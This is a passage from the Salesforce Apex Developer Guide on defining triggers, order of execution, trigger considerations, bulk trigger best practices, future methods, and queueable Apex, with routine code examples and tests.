error message for the duplicate record includes the ID of the first record. However, it is possible that the error message may not be correct
by the time the request is finished.
When there are triggers present, the retry logic in bulk operations causes a rollback/retry cycle to occur. That retry cycle assigns new
keys to the new records. For example, if two records are inserted with the same value for a unique field, and you also have an insert
event defined for a trigger, the second duplicate record fails, reporting the ID of the first record. However, once the system rolls back the
changes and re-inserts the first record by itself, the record receives a new ID. That means the error message reported by the second
record is no longer valid.
216
Common Bulk Trigger IdiomsInvoking Apex
Defining Triggers
Trigger code is stored as metadata under the object with which they are associated. To define a trigger in Salesforce:
1. From the object management settings for the object whose triggers you want to access, go to Triggers.
Tip: For the Attachment, ContentDocument, and Note standard objects, you can’t create a trigger in the Salesforce user
interface. For these objects, create a trigger using development tools, such as the Developer Console or the Force.com IDE.
Alternatively, you can also use the Metadata API.
2. In the Triggers list, click New.
3. Click Version Settings to specify the version of Apex and the API used with this trigger. If your organization has installed managed
packages from the AppExchange, you can also specify which version of each managed package to use with this trigger. Use the
default values for all versions. This associates the trigger with the most recent version of Apex and the API, as well as each managed
package. You can specify an older version of a managed package if you want to access components or functionality that differs from
the most recent package version.
4. Click Apex Trigger and select the Is Active checkbox if the trigger should be compiled and enabled. Leave this checkbox
deselected if you only want to store the code in your organization's metadata. This checkbox is selected by default.
5. In the Body text box, enter the Apex for the trigger. A single trigger can be up to 1 million characters in length.
To define a trigger, use the following syntax:
trigger TriggerName on ObjectName (trigger_events) {
code_block
}
where trigger_events can be a comma-separated list of one or more of the following events:
•before insert
•before update
•before delete
•after insert
•after update
•after delete
•after undelete
Note: A trigger invoked by an insert, delete, or update of a recurring event or recurring task results in a runtime
error when the trigger is called in bulk from the Force.com API.
6. Click Save.
Note: Triggers are stored with an isValid flag that is set to true as long as dependent metadata has not changed since
the trigger was last compiled. If any changes are made to object names or fields that are used in the trigger, including superficial
changes such as edits to an object or field description, the isValid flag is set to false until the Apex compiler reprocesses
the code. Recompiling occurs when the trigger is next executed, or when a user re-saves the trigger in metadata.
If a lookup field references a record that has been deleted, Salesforce clears the value of the lookup field by default. Alternatively,
you can choose to prevent records from being deleted if they’re in a lookup relationship.
The Apex Trigger Editor
The Apex and Visualforce editor has the following functionality:
217
Defining TriggersInvoking Apex
Syntax highlighting
The editor automatically applies syntax highlighting for keywords and all functions and operators.
Search ( )
Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search textbox
and click Find Next.
•To replace a found search string with another string, enter the new string in the Replace textbox and click replace to replace
just that instance, or Replace All to replace that instance and all other instances of the search string that occur in the page, class,
or trigger.
•To make the search operation case sensitive, select the Match Case option.
•To use a regular expression as your search string, select the Regular Expressions option. The regular expressions follow
JavaScript's regular expression rules. A search using regular expressions can find strings that wrap over more than one line.
If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular expression
group variables ($1, $2, and so on) from the found search string. For example, to replace an <h1> tag with an <h2> tag and
keep all the attributes on the original <h1> intact, search for <h1(\s+)(.*)> and replace it with <h2$1$2>.
Go to line ( )
This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that line.
Undo ( ) and Redo ( )
Use undo to reverse an editing action and redo to recreate an editing action that was undone.
Font size
Select a font size from the drop-down list to control the size of the characters displayed in the editor.
Line and column position
The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used with go to line
( ) to quickly navigate through the editor.
Line and character count
The total number of lines and characters is displayed in the status bar at the bottom of the editor.
Triggers and Merge Statements
Merge events do not fire their own trigger events. Instead, they fire delete and update events as follows:
Deletion of losing records
A single merge operation fires a single delete event for all records that are deleted in the merge. To determine which records were
deleted as a result of a merge operation use the MasterRecordId field in Trigger.old. When a record is deleted after
losing a merge operation, its MasterRecordId field is set to the ID of the winning record. The MasterRecordId field is
only set in after delete trigger events. If your application requires special handling for deleted records that occur as a result
of a merge, you need to use the after delete trigger event.
Update of the winning record
A single merge operation fires a single update event for the winning record only. Any child records that are reparented as a result
of the merge operation do not fire triggers.
For example, if two contacts are merged, only the delete and update contact triggers fire. No triggers for records related to the contacts,
such as accounts or opportunities, fire.
The following is the order of events when a merge occurs:
1. The before delete trigger fires.
218
Triggers and Merge StatementsInvoking Apex
2. The system deletes the necessary records due to the merge, assigns new parent records to the child records, and sets the
MasterRecordId field on the deleted records.
3. The after delete trigger fires.
4. The system does the specific updates required for the master record. Normal update triggers apply.
Triggers and Recovered Records
The after undelete trigger event only works with recovered records—that is, records that were deleted and then recovered
from the Recycle Bin through the undelete DML statement. These are also called undeleted records.
The after undelete trigger events only run on top-level objects. For example, if you delete an Account, an Opportunity may also
be deleted. When you recover the Account from the Recycle Bin, the Opportunity is also recovered. If there is an after undelete
trigger event associated with both the Account and the Opportunity, only the Account after undelete trigger event executes.
The after undelete trigger event only fires for the following objects:
•Account
•Asset
•Campaign
•Case
•Contact
•ContentDocument
•Contract
•Custom objects
•Event
•Lead
•Opportunity
•Product
•Solution
•Task
Triggers and Order of Execution
When you save a record with an insert, update, or upsert statement, Salesforce performs the following events in order.
Note: Before Salesforce executes these events on the server, the browser runs JavaScript validation if the record contains any
dependent picklist fields. The validation limits each dependent picklist field to its available values. No other validation occurs on
the client side.
On the server, Salesforce:
1. Loads the original record from the database or initializes the record for an upsert statement.
2. Loads the new record field values from the request and overwrites the old values.
If the request came from a standard UI edit page, Salesforce runs system validation to check the record for:
•Compliance with layout-specific rules
•Required values at the layout level and field-definition level
•Valid field formats
219
Triggers and Recovered RecordsInvoking Apex
•Maximum field length
When the request comes from other sources, such as an Apex application or a SOAP API call, Salesforce validates only the foreign
keys. Prior to executing a trigger, Salesforce verifies that any custom foreign keys do not refer to the object itself.
Salesforce runs user-defined validation rules if multiline items were created, such as quote line items and opportunity line items.
3. Executes all before triggers.
4. Runs most system validation steps again, such as verifying that all required fields have a non-null value, and runs any user-defined
validation rules. The only system validation that Salesforce doesn't run a second time (when the request comes from a standard UI
edit page) is the enforcement of layout-specific rules.
5. Executes duplicate rules. If the duplicate rule identifies the record as a duplicate and uses the block action, the record is not saved
and no further steps, such as after triggers and workflow rules, are taken.
6. Saves the record to the database, but doesn't commit yet.
7. Executes all after triggers.
8. Executes assignment rules.
9. Executes auto-response rules.
10. Executes workflow rules.
11. If there are workflow field updates, updates the record again.
12. If the record was updated with workflow field updates, fires before update triggers and after update triggers one more
time (and only one more time), in addition to standard validations. Custom validation rules, duplicate rules, and escalation rules are
not run again.
13. Executes processes.
If there are workflow flow triggers, executes the flows.
The pilot program for flow trigger workflow actions is closed. If you've already enabled the pilot in your org, you can continue to
create and edit flow trigger workflow actions. If you didn't enable the pilot in your org, use the Flows action in Process Builder instead.
14. Executes escalation rules.
15. Executes entitlement rules.
16. If the record contains a roll-up summary field or is part of a cross-object workflow, performs calculations and updates the roll-up
summary field in the parent record. Parent record goes through save procedure.
17. If the parent record is updated, and a grandparent record contains a roll-up summary field or is part of a cross-object workflow,
performs calculations and updates the roll-up summary field in the grandparent record. Grandparent record goes through save
procedure.
18. Executes Criteria Based Sharing evaluation.
19. Commits all DML operations to the database.
20. Executes post-commit logic, such as sending email.
Note: During a recursive save, Salesforce skips steps 8 (assignment rules) through 17 (roll-up summary field in the grandparent
record).
Additional Considerations
Please note the following when working with triggers.
220
Triggers and Order of ExecutionInvoking Apex
•The order of execution isn’t guaranteed when having multiple triggers for the same object due to the same event. For example, if
you have two before insert triggers for Case, and a new Case record is inserted that fires the two triggers, the order in which these
triggers fire isn’t guaranteed.
•When a DML call is made with partial success allowed, more than one attempt can be made to save the successful records if the
initial attempt results in errors for some records. For example, an error can occur for a record when a user-validation rule fails. Triggers
are fired during the first attempt and are fired again during subsequent attempts. Because these trigger invocations are part of the
same transaction, static class variables that are accessed by the trigger aren't reset. DML calls allow partial success when you set the
allOrNone parameter of a Database DML method to false or when you call the SOAP API with default settings. For more
details, see Bulk DML Exception Handling.
•If your org uses Contacts to Multiple Accounts, anytime you insert a non-private contact, an AccountContactRelation is created and
its validation rules, database insertion, and triggers are executed immediately after the contact is saved to the database (step 6).
When you change a contact's primary account, an AccountContactRelation may be created or edited, and the AccountContactRelation
validation rules, database changes, and triggers are executed immediately after the contact is saved to the database (step 6).
•If you are using before triggers to set Stage and Forecast Category for an opportunity record, the behavior is as follows:
–If you set Stage and Forecast Category, the opportunity record contains those exact values.
–If you set Stage but not Forecast Category, the Forecast Category value on the opportunity record defaults
to the one associated with trigger Stage.
–If you reset Stage to a value specified in an API call or incoming from the user interface, the Forecast Category value
should also come from the API call or user interface. If no value for Forecast Category is specified and the incoming
Stage is different than the trigger Stage, the Forecast Category defaults to the one associated with trigger Stage.
If the trigger Stage and incoming Stage are the same, the Forecast Category is not defaulted.
•If you are cloning an opportunity with products, the following events occur in order:
1. The parent opportunity is saved according to the list of events shown above.
2. The opportunity products are saved according to the list of events shown above.
Note: If errors occur on an opportunity product, you must return to the opportunity and fix the errors before cloning.
If any opportunity products contain unique custom fields, you must null them out before cloning the opportunity.
•Trigger.old contains a version of the objects before the specific update that fired the trigger. However, there is an exception.
When a record is updated and subsequently triggers a workflow rule field update, Trigger.old in the last update trigger won’t
contain the version of the object immediately prior to the workflow update, but the object before the initial update was made. For
example, suppose an existing record has a number field with an initial value of 1. A user updates this field to 10, and a workflow rule
field update fires and increments it to 11. In the update trigger that fires after the workflow field update, the field value of the object
obtained from Trigger.old is the original value of 1, rather than 10, as would typically be the case.
Operations That Don't Invoke Triggers
Some operations don’t invoke triggers.
Triggers are invoked for data manipulation language (DML) operations that are initiated or processed by the Java application server.
Therefore, some system bulk operations don't invoke triggers. Some examples include:
•Cascading delete operations. Records that did not initiate a delete don't cause trigger evaluation.
•Cascading updates of child records that are reparented as a result of a merge operation
•Mass campaign status changes
•Mass division transfers
•Mass address updates
221
Operations That Don't Invoke TriggersInvoking Apex
•Mass approval request transfers
•Mass email actions
•Modifying custom field data types
•Renaming or replacing picklists
•Managing price books
•Changing a user's default division with the transfer division option checked
•Changes to the following objects:
–BrandTemplate
–MassEmailTemplate
–Folder
•Update account triggers don't fire before or after a business account record type is changed to person account (or a person account
record type is changed to business account.)
Note: Inserts, updates, and deletes on person accounts fire Account triggers, not Contact triggers.
The before triggers associated with the following operations are fired during lead conversion only if validation and triggers for lead
conversion are enabled in the organization:
•insert of accounts, contacts, and opportunities
•update of accounts and contacts
Opportunity triggers are not fired when the account owner changes as a result of the associated opportunity's owner changing.
When you modify an opportunity product on an opportunity, or when an opportunity product schedule changes an opportunity product,
even if the opportunity product changes the opportunity, the before and after triggers and the validation rules don't fire for the
opportunity. However, roll-up summary fields do get updated, and workflow rules associated with the opportunity do run.
The getContent and getContentAsPDF PageReference methods aren't allowed in triggers.
Note the following for the ContentVersion object:
•Content pack operations involving the ContentVersion object, including slides and slide autorevision, don't invoke triggers.
Note: Content packs are revised when a slide inside the pack is revised.
•Values for the TagCsv and VersionData fields are only available in triggers if the request to create or update ContentVersion
records originates from the API.
•You can't use before or after delete triggers with the ContentVersion object.
Triggers on the Attachment object don’t fire when:
•the attachment is created via Case Feed publisher.
•the user sends email via the Email related list and adds an attachment file.
Triggers fire when the Attachment object is created via Email-to-Case or via the UI.
Entity and Field Considerations in Triggers
When you create triggers, consider the behavior of certain entities, fields, and operations.
222
Entity and Field Considerations in TriggersInvoking Apex
QuestionDataCategorySelection Entity Not Available in After Insert Triggers
The after insert trigger that fires after inserting one or more Question records doesn’t have access to the
QuestionDataCategorySelection records that are associated with the inserted Questions. For example, the following
query doesn’t return any results in an after insert trigger:
QuestionDataCategorySelection[] dcList =
[select Id,DataCategoryName from QuestionDataCategorySelection where ParentId IN :questions];
Fields Not Updateable in Before Triggers
Some field values are set during the system save operation, which occurs after before triggers have fired. As a result, these fields
cannot be modified or accurately detected in before insert or before update triggers. Some examples include:
•Task.isClosed
•Opportunity.amount*
•Opportunity.ForecastCategory
•Opportunity.isWon
•Opportunity.isClosed
•Contract.activatedDate
•Contract.activatedById
•Case.isClosed
•Solution.isReviewed
•Id (for all records)**
•createdDate (for all records)**
•lastUpdated (for all records)
•Event.WhoId (when Shared Activities is enabled)
•Task.WhoId (when Shared Activities is enabled)
* When Opportunity has no lineitems, Amount can be modified by a before trigger.
** Id and createdDate can be detected in before update triggers, but cannot be modified.
Fields Not Updateable in After Triggers
The following fields can’t be updated by after insert or after update triggers.
•Event.WhoId
•Task.WhoId
Considerations for Event DateTime Fields in Insert and Update Triggers
We recommend using the following date and time fields to create or update events.
•When creating or updating a timed Event, use ActivityDateTime to avoid issues with inconsistent date and time values.
•When creating or updating an all-day Event, use ActivityDate to avoid issues with inconsistent date and time values.
•We recommend that you use DurationInMinutes because it works with all updates and creates for Events.
223
Entity and Field Considerations in TriggersInvoking Apex
Operations Not Supported in Insert and Update Triggers
The following operations aren’t supported in insert and update triggers.
•Manipulating an activity relation through the TaskRelation or EventRelation object, if Shared Activities is enabled
•Manipulating an invitee relation on a group event through the Invitee object, whether or not Shared Activities is enabled
Entities Not Supported in After Undelete Triggers
Certain objects can’t be restored, and therefore, shouldn’t have after undelete triggers.
•CollaborationGroup
•CollaborationGroupMember
•FeedItem
•FeedComment
Considerations for Update Triggers
Field history tracking honors the permissions of the current user. If the current user doesn't have permission to directly edit an object or
field, but they activate a trigger that changes an object or field with history tracking enabled, no history of the change is recorded.
Considerations for the Salesforce Side Panel for Salesforce for Outlook
When an email is associated to a record using the Salesforce Side Panel for Salesforce for Outlook, the email associations are represented
in the WhoId or WhatId fields on a task record. Associations are completed after the task is created, so the Task.WhoId and
Task.WhatId fields aren’t immediately available in before or after Task triggers for insert and update events, and their values
are initially null. The WhoId and WhatId fields are set on the saved task record in a subsequent operation, however, so their values
can be retrieved later.
SEE ALSO:
Triggers for Chatter Objects
Triggers for Chatter Objects
You can write triggers for the FeedItem and FeedComment objects.
Trigger Considerations for FeedItem, FeedAttachment, and FeedComment
•Only FeedItems of type TextPost, LinkPost, HasLink, ContentPost, and HasContent can be inserted, and therefore
invoke the before or after insert trigger. User status updates don't cause the FeedItem triggers to fire.
•While FeedPost objects were supported for API versions 18.0, 19.0, and 20.0, don't use any insert or delete triggers saved against
versions before 21.0.
•For FeedItem, the following fields are not available in the before insert trigger:
–ContentSize
–ContentType
In addition, the ContentData field is not available in any delete trigger.
224
Triggers for Chatter ObjectsInvoking Apex
•Triggers on FeedItem objects run before their attachment and capabilities information is saved, which means that
ConnectApi.FeedItem.attachment information and ConnectApi.FeedElement.capabilities information
may not be available in the trigger.
The attachment and capabilities information may not be available from these methods:
ConnectApi.ChatterFeeds.getFeedItem, ConnectApi.ChatterFeeds.getFeedElement,
ConnectApi.ChatterFeeds.getFeedPoll, ConnectApi.ChatterFeeds.getFeedElementPoll,
ConnectApi.ChatterFeeds.postFeedItem, ConnectApi.ChatterFeeds.postFeedElement,
ConnectApi.ChatterFeeds.shareFeedItem, ConnectApi.ChatterFeeds.shareFeedElement,
ConnectApi.ChatterFeeds.voteOnFeedPoll, and ConnectApi.ChatterFeeds.voteOnFeedElementPoll
•FeedAttachment is not a triggerable object. You can access feed attachments in FeedItem update triggers through a SOQL query.
For example:
trigger FeedItemTrigger on FeedItem (after update) {
List<FeedAttachment> attachments = [SELECT Id, Title, Type, FeedEntityId
FROM FeedAttachment
WHERE FeedEntityId IN :Trigger.new ];
for (FeedAttachment attachment : attachments) {
System.debug(attachment.Type);
}
}
•When a feed item with associated attachments is inserted, the FeedItem is inserted first, then the FeedAttachment records are
created next. On update of a feed item with associated attachments, the FeedAttachment records are inserted first, then the FeedItem
is updated. As a result of this sequence of operations, FeedAttachments are available in update triggers only, and aren’t available in
insert triggers.
•The following feed attachment operations cause the FeedItem update triggers to fire.
–A FeedAttachment is added to a FeedItem and causes the FeedItem type to change.
–A FeedAttachment is removed from a FeedItem and causes the FeedItem type to change.
•FeedItem triggers aren’t fired when inserting or updating a FeedAttachment that doesn’t cause a change on the associated FeedItem.
•You can’t insert, update, or delete FeedAttachments in before update and after update FeedItem triggers.
•For FeedComment before insert and after insert triggers, the fields of a ContentVersion associated with the FeedComment (obtained
through FeedComment.RelatedRecordId) are not available.
Other Chatter Trigger Considerations
•Apex code uses extra security when executing in a Chatter context. To post to a private group, the user running the code must be
a member of that group. If the running user isn't a member, you can set the CreatedById field to be a member of the group
in the FeedItem record.
225
Triggers for Chatter ObjectsInvoking Apex
•When CollaborationGroupMember is updated, CollaborationGroup is automatically updated as well to ensure that the member
count is correct. As a result, when CollaborationGroupMember update or delete triggers run, CollaborationGroup update
triggers run as well.
SEE ALSO:
Entity and Field Considerations in Triggers
Object Reference for Salesforce and Force.com: FeedItem
Object Reference for Salesforce and Force.com: FeedAttachment
Object Reference for Salesforce and Force.com: FeedComment
Object Reference for Salesforce and Force.com: CollaborationGroup
Object Reference for Salesforce and Force.com: CollaborationGroupMember
Trigger Exceptions
Triggers can be used to prevent DML operations from occurring by calling the addError() method on a record or field. When used
on Trigger.new records in insert and update triggers, and on Trigger.old records in delete triggers, the custom
error message is displayed in the application interface and logged.
Note: Users experience less of a delay in response time if errors are added to before triggers.
A subset of the records being processed can be marked with the addError() method:
•If the trigger was spawned by a DML statement in Apex, any one error results in the entire operation rolling back. However, the
runtime engine still processes every record in the operation to compile a comprehensive list of errors.
•If the trigger was spawned by a bulk DML call in the Force.com API, the runtime engine sets aside the bad records and attempts to
do a partial save of the records that did not generate errors. See Bulk DML Exception Handling on page 140.
If a trigger ever throws an unhandled exception, all records are marked with an error and no further processing takes place.
SEE ALSO:
addError(errorMsg)
addError(errorMsg)
Trigger and Bulk Request Best Practices
A common development pitfall is the assumption that trigger invocations never include more than one record. Apex triggers are optimized
to operate in bulk, which, by definition, requires developers to write logic that supports bulk operations.
This is an example of a flawed programming pattern. It assumes that only one record is pulled in during a trigger invocation. While this
might support most user interface events, it does not support bulk operations invoked through the SOAP API or Visualforce.
trigger MileageTrigger on Mileage__c (before insert, before update) {
User c = [SELECT Id FROM User WHERE mileageid__c = Trigger.new[0].id];
}
This is another example of a flawed programming pattern. It assumes that less than 100 records are pulled in during a trigger invocation.
If more than 20 records are pulled into this request, the trigger would exceed the SOQL query limit of 100 SELECT statements:
trigger MileageTrigger on Mileage__c (before insert, before update) {
for(mileage__c m : Trigger.new){
226
Trigger ExceptionsInvoking Apex
User c = [SELECT Id FROM user WHERE mileageid__c = m.Id];
}
}
For more information on governor limits, see Execution Governors and Limits on page 274.
This example demonstrates the correct pattern to support the bulk nature of triggers while respecting the governor limits:
Trigger MileageTrigger on Mileage__c (before insert, before update) {
Set<ID> ids = Trigger.newMap.keySet();
List<User> c = [SELECT Id FROM user WHERE mileageid__c in :ids];
}
This pattern respects the bulk nature of the trigger by passing the Trigger.new collection to a set, then using the set in a single
SOQL query. This pattern captures all incoming records within the request while limiting the number of SOQL queries.
Best Practices for Designing Bulk Programs
The following are the best practices for this design pattern:
•Minimize the number of data manipulation language (DML) operations by adding records to collections and performing DML
operations against these collections.
•Minimize the number of SOQL statements by preprocessing records and generating sets, which can be placed in single SOQL
statement used with the IN clause.
SEE ALSO:
Developing Code in the Cloud
Asynchronous Apex
Apex offers multiple ways for running your Apex code asynchronously. Choose the asynchronous Apex feature that best suits your needs.
This table lists the asynchronous Apex features and when to use each.
When to UseAsynchronous Apex Feature
Future Methods •When you have a long-running method and need to prevent
delaying an Apex transaction
•When you make callouts to external Web services
•To segregate DML operations and bypass the mixed save DML
error
Queueable Apex •To start a long-running operation and get an ID for it
•To pass complex types to a job
•To chain jobs
Batch Apex •For long-running jobs with large data volumes that need to
be performed in batches, such as database maintenance jobs
227
Asynchronous ApexInvoking Apex
When to UseAsynchronous Apex Feature
•For jobs that need larger query results than regular transactions
allow
Scheduled Apex •To schedule an Apex class to run on a specific schedule
Future Methods
A future method runs in the background, asynchronously. You can call a future method for executing long-running operations, such as
callouts to external Web services or any operation you’d like to run in its own thread, on its own time. You can also make use of future
methods to isolate DML operations on different sObject types to prevent the mixed DML error. Each future method is queued and
executes when system resources become available. That way, the execution of your code doesn’t have to wait for the completion of a
long-running operation. A benefit of using future methods is that some governor limits are higher, such as SOQL query limits and heap
size limits.
To define a future method, simply annotate it with the future annotation, as follows.
global class FutureClass
{
@future
public static void myFutureMethod()
{
// Perform some operations
}
}
Methods with the future annotation must be static methods, and can only return a void type. The specified parameters must be
primitive data types, arrays of primitive data types, or collections of primitive data types. Methods with the future annotation cannot
take sObjects or objects as arguments.
The reason why sObjects can’t be passed as arguments to future methods is because the sObject might change between the time you
call the method and the time it executes. In this case, the future method will get the old sObject values and might overwrite them. To
work with sObjects that already exist in the database, pass the sObject ID instead (or collection of IDs) and use the ID to perform a query
for the most up-to-date record. The following example shows how to do so with a list of IDs.
global class FutureMethodRecordProcessing
{
@future
public static void processRecords(List<ID> recordIds)
{
// Get those records based on the IDs
List<Account> accts = [SELECT Name FROM Account WHERE Id IN :recordIds];
// Process records
}
}
The following is a skeletal example of a future method that makes a callout to an external service. Notice that the annotation takes an
extra parameter (callout=true) to indicate that callouts are allowed. To learn more about callouts, see Invoking Callouts Using
Apex.
global class FutureMethodExample
{
228
Future MethodsInvoking Apex
@future(callout=true)
public static void getStockQuotes(String acctName)
{
// Perform a callout to an external service
}
}
Inserting a user with a non-null role must be done in a separate thread from DML operations on other sObjects. This example uses a
future method to achieve this. The future method, insertUserWithRole, which is defined in the Util class, performs the
insertion of a user with the COO role. This future method requires the COO role to be defined in the organization. The
useFutureMethod method in MixedDMLFuture inserts an account and calls the future method, insertUserWithRole.
This is the definition of the Util class, which contains the future method for inserting a user with a non-null role.
public class Util {
@future
public static void insertUserWithRole(
String uname, String al, String em, String lname) {
Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
// Create new user with a non-null user role ID
User u = new User(alias = al, email=em,
emailencodingkey='UTF-8', lastname=lname,
languagelocalekey='en_US',
localesidkey='en_US', profileid = p.Id, userroleid = r.Id,
timezonesidkey='America/Los_Angeles',
username=uname);
insert u;
}
}
This is the class containing the main method that calls the future method defined previously.
public class MixedDMLFuture {
public static void useFutureMethod() {
// First DML operation
Account a = new Account(Name='Acme');
insert a;
// This next operation (insert a user with a role)
// can't be mixed with the previous insert unless
// it is within a future method.
// Call future method to insert a user with a role.
Util.insertUserWithRole(
'mruiz@awcomputing.com','mruiz',
'mruiz@awcomputing.com','Ruiz');
}
}
You can invoke future methods the same way you invoke any other method. However, a future method can’t invoke another future
method.
Methods with the future annotation have the following limits:
•No more than 50 method calls per Apex invocation
229
Future MethodsInvoking Apex
Note: Asynchronous calls, such as @future or executeBatch, called in a startTest, stopTest block, do not
count against your limits for the number of queued jobs.
•The maximum number of future method invocations per a 24-hour period is 250,000 or the number of user licenses in your
organization multiplied by 200, whichever is greater. This limit is for your entire org and is shared with all asynchronous Apex: Batch
Apex, Queueable Apex, scheduled Apex, and future methods. To check how many asynchronous Apex executions are available,
make a request to the REST API limits resource. See List Organization Limits in the Force.com REST API Developer Guide. The licenses
that count toward this limit are full Salesforce user licenses or Force.com App Subscription user licenses. Chatter Free, Chatter
customer users, Customer Portal User, and partner portal User licenses aren’t included.
Note: Future method jobs queued before a Salesforce service maintenance downtime remain in the queue. After service downtime
ends and when system resources become available, the queued future method jobs are executed. If a future method was running
when downtime occurred, the future method execution is rolled back and restarted after the service comes back up.
Testing Future Methods
To test methods defined with the future annotation, call the class containing the method in a startTest(), stopTest()
code block. All asynchronous calls made after the startTest method are collected by the system. When stopTest is executed,
all asynchronous processes are run synchronously.
For our example, this is how the test class looks.
@isTest
private class MixedDMLFutureTest {
@isTest static void test1() {
User thisUser = [SELECT Id FROM User WHERE Id = :UserInfo.getUserId()];
// System.runAs() allows mixed DML operations in test context
System.runAs(thisUser) {
// startTest/stopTest block to run future method synchronously
Test.startTest();
MixedDMLFuture.useFutureMethod();
Test.stopTest();
}
// The future method will run after Test.stopTest();
// Verify account is inserted
Account[] accts = [SELECT Id from Account WHERE Name='Acme'];
System.assertEquals(1, accts.size());
// Verify user is inserted
User[] users = [SELECT Id from User where username='mruiz@awcomputing.com'];
System.assertEquals(1, users.size());
}
}
Future Method Performance Best Practices
Salesforce uses a queue-based framework to handle asynchronous processes from such sources as future methods and batch Apex. This
queue is used to balance request workload across organizations. Use the following best practices to ensure your organization is efficiently
using the queue for your asynchronous processes.
•Avoid adding large numbers of future methods to the asynchronous queue, if possible. If more than 2,000 unprocessed requests
from a single organization are in the queue, any additional requests from the same organization will be delayed while the queue
handles requests from other organizations.
230
Future MethodsInvoking Apex
•Ensure that future methods execute as fast as possible. To ensure fast execution of batch jobs, minimize Web service callout times
and tune queries used in your future methods. The longer the future method executes, the more likely other queued requests are
delayed when there are a large number of requests in the queue.
•Test your future methods at scale. Where possible, test using an environment that generates the maximum number of future methods
you’d expect to handle. This will help determine if delays will occur.
•Consider using batch Apex instead of future methods to process large numbers of records.
Future Methods with Higher Limits (Pilot)
Note: We provide this feature to selected customers through a pilot program that requires agreement to specific terms and
conditions. To be nominated to participate in the program, contact Salesforce. Because pilot programs are subject to change, we
can’t guarantee acceptance. This pilot feature isn’t generally available, as referenced in this document or in press releases or public
statements. We can’t guarantee general availability within any particular time frame or at all. Make your purchase decisions only
on the basis of generally available features.
Apex future methods (methods that are annotated with @future) currently have the higher asynchronous limits for heap size, CPU
timeout, and number of SOQL queries. This pilot enables you to specify even higher values for these and for additional limits in future
methods. If you were exceeding a governor limit in your future method, or if you think a future method requires a higher limit, you can
increase this limit for your future method.
Note: Running future methods with higher limits might slow down the execution of all your future methods.
One of the following limits can be doubled or tripled for each future method.
•Heap size
•CPU timeout
•Number of SOQL queries
•Number of DML statements issued
•Number of records that were processed as a result of DML operations, Aprroval.process, or
Database.emptyRecycleBin
The higher limit is specified in the method definition as part of the @future annotation by using the limit parameter, in the
following syntax:
@future(limits='2x|3xlimitName')
For example, to double the amount of heap size that is allowed in your future method, define your method as follows:
@future(limits='2xHeap')
public static void myFutureMethod() {
// Your code here
}
Tip: Keep in mind that you can specify only one higher limit per future method. Decide which of the modifiable limits you need
the most for your method.
The following limit modifiers are supported. The string value passed to the limits parameter inside the annotation is case-insensitive.
DescriptionModifier
Heap size limit is doubled (24 MB).@future(limits='2xHeap')
Heap size limit is tripled (36 MB).@future(limits='3xHeap')
231
Future Methods with Higher Limits (Pilot)Invoking Apex
DescriptionModifier
CPU timeout is doubled (120,000 milliseconds).@future(limits='2xCPU')
CPU timeout is tripled (180,000 milliseconds).@future(limits='3xCPU')
Number of SOQL queries limit is doubled (400).@future(limits='2xSOQL')
Number of SOQL queries limit is tripled (600).@future(limits='3xSOQL')
Number of DML statements limit is doubled (300).@future(limits='2xDML')
Number of DML statements limit is tripled (450).@future(limits='3xDML')
Number of records that were processed as a result of DML
operations is doubled (20,000).
@future(limits='2xDMLRows')1
Number of records that were processed as a result of DML
operations is tripled (30,000).
@future(limits='3xDMLRows')1
1 Includes Aprroval.process and Database.emptyRecycleBin operations.
Queueable Apex
Take control of your asynchronous Apex processes by using the Queueable interface. This interface enables you to add jobs to the
queue and monitor them, which is an enhanced way of running your asynchronous Apex code compared to using future methods.
For Apex processes that run for a long time, such as extensive database operations or external Web service callouts, you can run them
asynchronously by implementing the Queueable interface and adding a job to the Apex job queue. In this way, your asynchronous
Apex job runs in the background in its own thread and doesn’t delay the execution of your main Apex logic. Each queued job runs when
system resources become available. A benefit of using the Queueable interface methods is that some governor limits are higher
than for synchronous Apex, such as heap size limits.
Queueable jobs are similar to future methods in that they’re both queued for execution, but they provide you with these additional
benefits.
•Getting an ID for your job: When you submit your job by invoking the System.enqueueJob method, the method returns the
ID of the new job. This ID corresponds to the ID of the AsyncApexJob record. You can use this ID to identify your job and monitor
its progress, either through the Salesforce user interface in the Apex Jobs page, or programmatically by querying your record from
AsyncApexJob.
•Using non-primitive types: Your queueable class can contain member variables of non-primitive data types, such as sObjects or
custom Apex types. Those objects can be accessed when the job executes.
•Chaining jobs: You can chain one job to another job by starting a second job from a running job. Chaining jobs is useful if you need
to do some processing that depends on another process to have run first.
Example
This example is an implementation of the Queueable interface. The execute method in this example inserts a new account.
public class AsyncExecutionExample implements Queueable {
public void execute(QueueableContext context) {
Account a = new Account(Name='Acme',Phone='(415) 555-1212');
insert a;
232
Queueable ApexInvoking Apex
}
}
To add this class as a job on the queue, call this method:
ID jobID = System.enqueueJob(new AsyncExecutionExample());
After you submit your queueable class for execution, the job is added to the queue and will be processed when system resources become
available. You can monitor the status of your job programmatically by querying AsyncApexJob or through the user interface in Setup
by entering Apex Jobs in the Quick Find box, then selecting Apex Jobs.
To query information about your submitted job, perform a SOQL query on AsyncApexJob by filtering on the job ID that the
System.enqueueJob method returns. This example uses the jobID variable that was obtained in the previous example.
AsyncApexJob jobInfo = [SELECT Status,NumberOfErrors FROM AsyncApexJob WHERE Id=:jobID];
Similar to future jobs, queueable jobs don’t process batches, and so the number of processed batches and the number of total batches
are always zero.
Testing Queueable Jobs
This example shows how to test the execution of a queueable job in a test method. A queueable job is an asynchronous process. To
ensure that this process runs within the test method, the job is submitted to the queue between the Test.startTest and
Test.stopTest block. The system executes all asynchronous processes started in a test method synchronously after the
Test.stopTest statement. Next, the test method verifies the results of the queueable job by querying the account that the job
created.
@isTest
public class AsyncExecutionExampleTest {
static testmethod void test1() {
// startTest/stopTest block to force async processes
// to run in the test.
Test.startTest();
System.enqueueJob(new AsyncExecutionExample());
Test.stopTest();
// Validate that the job has run
// by verifying that the record was created.
// This query returns only the account created in test context by the
// Queueable class method.
Account acct = [SELECT Name,Phone FROM Account WHERE Name='Acme' LIMIT 1];
System.assertNotEquals(null, acct);
System.assertEquals('(415) 555-1212', acct.Phone);
}
}
Note: The ID of a queueable Apex job isn’t returned in test context—System.enqueueJob returns null in a running test.
Chaining Jobs
